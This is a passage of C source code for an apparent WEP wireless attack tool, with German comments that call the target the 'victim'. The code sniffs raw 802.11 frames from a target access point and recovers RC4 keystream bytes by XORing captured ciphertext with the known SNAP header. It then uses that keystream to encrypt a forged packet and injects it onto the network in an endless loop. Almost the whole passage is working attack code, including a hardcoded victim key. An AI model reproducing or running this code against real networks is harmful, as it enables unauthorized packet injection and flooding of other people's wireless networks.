		for(i=0;i<96;i++) ping_header[0x1c+i]^=kv[i];

//		printf("ping verschluesselt\n");
		hexdump(ping_header, 96 + 0x1c, 1);

		while(1){
		 write(rawsock, ping_header,96+ 0x1c);
//		 printf(".");
		}
		
}

void
have_fun(unsigned char packet[], int n)
{
	unsigned char iv[3], key_idx, kv[8];
	char ask;
	int i = 0;
	rc4_key  rc4_schluessel;

	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
//	unsigned char wep_key[]={0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef};

	//check if type is data
	if ((unsigned char) packet[0] != 0x08) return;
//	printf("data-package received\n");
	//check if packet is encrypted
	//if (! (((unsigned char) packet[1]) & 0x40)) return;

#ifdef crypt1
//	printf("IV: %X%X%X (KeyIdx: %x)\n", packet[24], packet[25], packet[26], packet[27]); 
	iv[0] = packet[24];
	iv[1] = packet[25];
	iv[2] = packet[26];
	key_idx = packet[27];

	wep_key[0]= iv[0];
	wep_key[1]=	iv[1];
	wep_key[2]= iv[2];
//	printf("#DEBUG:\tWEP_KEY =\t"); 
	for(i=0;i<8;i++) printf("%x ", wep_key[i]);
#endif

	//building first 7 byte of keystream by cypherstream XOR SNAP
	//standard-SNAP: AA AA 03 00 00 00 08
	
	kv[0] = packet[28] ^ 0xaa;
	kv[1] = packet[29] ^ 0xaa;
	kv[2] = packet[30] ^ 0x03;
	kv[3] = packet[31] ^ 0x00;
	kv[4] = packet[32] ^ 0x00;
	kv[5] = packet[33] ^ 0x00;
	kv[6] = packet[34] ^ 0x00;
	
	//guess if it is ARP or IPv4 for 8th byte of key
	if (n == 86) { //ARP
//		printf("Packet is propably ARP\n");
		kv[7] = packet[35] ^ 0x06;
	} else {//IPv4 or else
//		printf("Packet is propably IPv4\n");
		kv[7] = packet[35] ^ 00;
	}
	kv[7]=0x27^packet[35];

#ifdef DEBUG
//	printf("IV= %x %x %x (key_index=%u)\n", iv[0], iv[1],iv[2],key_idx);
//	printf("First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n", kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);
//	printf("starting RC4-PRNG\n");

	prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
	for(i=0;i<8;i++) nul[i]=0x00;
	rc4(nul,8, &rc4_schluessel);
//	printf("Schluesselstrom=\t");
	for(i=0;i<8;i++) printf("%x\t", nul[i]);
	printf("\n(mit schluesselstrom) entschluesseltes packet:\n");
	for(i=0;i<8;i++) printf("%x\t", nul[i]^packet[28+i]);
//	printf("\n");
#endif
	
//	printf("First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n", kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);
	//printf("Proceed y/n? ");
	//ask = getc(stdin);
	//getc(stdin);
ask='y';
	if (ask == 'y') send_arp(packet, iv, kv, key_idx);
	return;
}


// Main Part
  int
main (int argc, char **argv) 
{
  int sock, uid, n, i;
  int packetsize = 2400;	//sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
  unsigned char packet[packetsize];
  struct ifreq ifr;
  struct sockaddr_ll addr;
  
 
  i = 0; 
  if (argc != 2)
    {
      printf ("use ./sniff <dev>\n");
      return -1;
    }
  
    // Are you root?
    uid = getuid ();
  if (uid != 0)
    {
      printf ("You must have UID 0 instead of %d.\n", uid);
      exit (1);
    }
  
    // Raw Socket oeffnen
    
/*by biba */ 
    if ((sock = socket (PF_PACKET, SOCK_RAW, 0)) < 0)
    return -1;
  bzero (&ifr, sizeof (ifr));
  strcpy (ifr.ifr_name, argv[1]);
  if (ioctl (sock, SIOCGIFHWADDR, &ifr))
    {
     	close (sock);
      return -1;
    }
  if (ioctl (sock, SIOCGIFINDEX, &ifr))
    {
      close (sock);
      return -1;
    }
  close (sock);
  if ((sock = socket (PF_PACKET, SOCK_RAW, htons (0x3))) == -1)
    {
      perror ("socket");
      exit (1);
    }
  bzero (&addr, sizeof (addr));
  addr.sll_family = AF_PACKET;
  addr.sll_ifindex = ifr.ifr_ifindex;
  rawsock = sock;
  
#if 1
    if (bind (sock, (struct sockaddr *) &addr, sizeof (addr)) < 0)
    {
      close (sock);
      printf ("failed to bind device\n");
      return -23;
    }
  
#endif /*  */
/*************/ 
    
// if( (sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }
    while (1)
    
    {
      n = read (sock, packet, packetsize);
	  /* wenn das netz eine bestimmt mac hat: packet+0x0a*/

      if (//(packet[0] == 0x08) &&
				((TMAC0==(unsigned char)packet[10]) &&
				  (TMAC1==(unsigned char)packet[11]) &&	
				  (TMAC2==(unsigned char)packet[12]) &&	
				  (TMAC3==(unsigned char)packet[13]) &&	
				  (TMAC4==(unsigned char)packet[14]) &&	
				  (TMAC5==(unsigned char)packet[15])) 
/*			&&
					(((MAC0==(unsigned char)packet[4]) &&
				  	(MAC1==(unsigned char)packet[5]) &&	
				  	(MAC2==(unsigned char)packet[6]) &&	
				  	(MAC3==(unsigned char)packet[7]) &&	
				  	(MAC4==(unsigned char)packet[8]) &&	
				  	(MAC5==(unsigned char)packet[9]))
				||
					((MAC0==(unsigned char)packet[16]) &&
				  	(MAC1==(unsigned char)packet[17]) &&	
				  	(MAC2==(unsigned char)packet[18]) &&	
				  	(MAC3==(unsigned char)packet[19]) &&	
				  	(MAC4==(unsigned char)packet[20]) &&	
				  	(MAC5==(unsigned char)packet[21])))*/
		)
	  	print_header (packet, n);

	  	have_fun(packet, n);
      
#if 0
	for (i = 0; i < n; i++)
	printf ("%x ", (unsigned char) packet[i]);
      printf ("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",
	       inet_ntoa (*(struct in_addr *) &ip->saddr),
	       ntohs (tcp->source),
	       inet_ntoa (*(struct in_addr *) &ip->daddr), ntohs (tcp->dest),
	       ntohl (tcp->seq), ntohl (tcp->ack_seq));
      
#endif /*  */
    } return 0;
}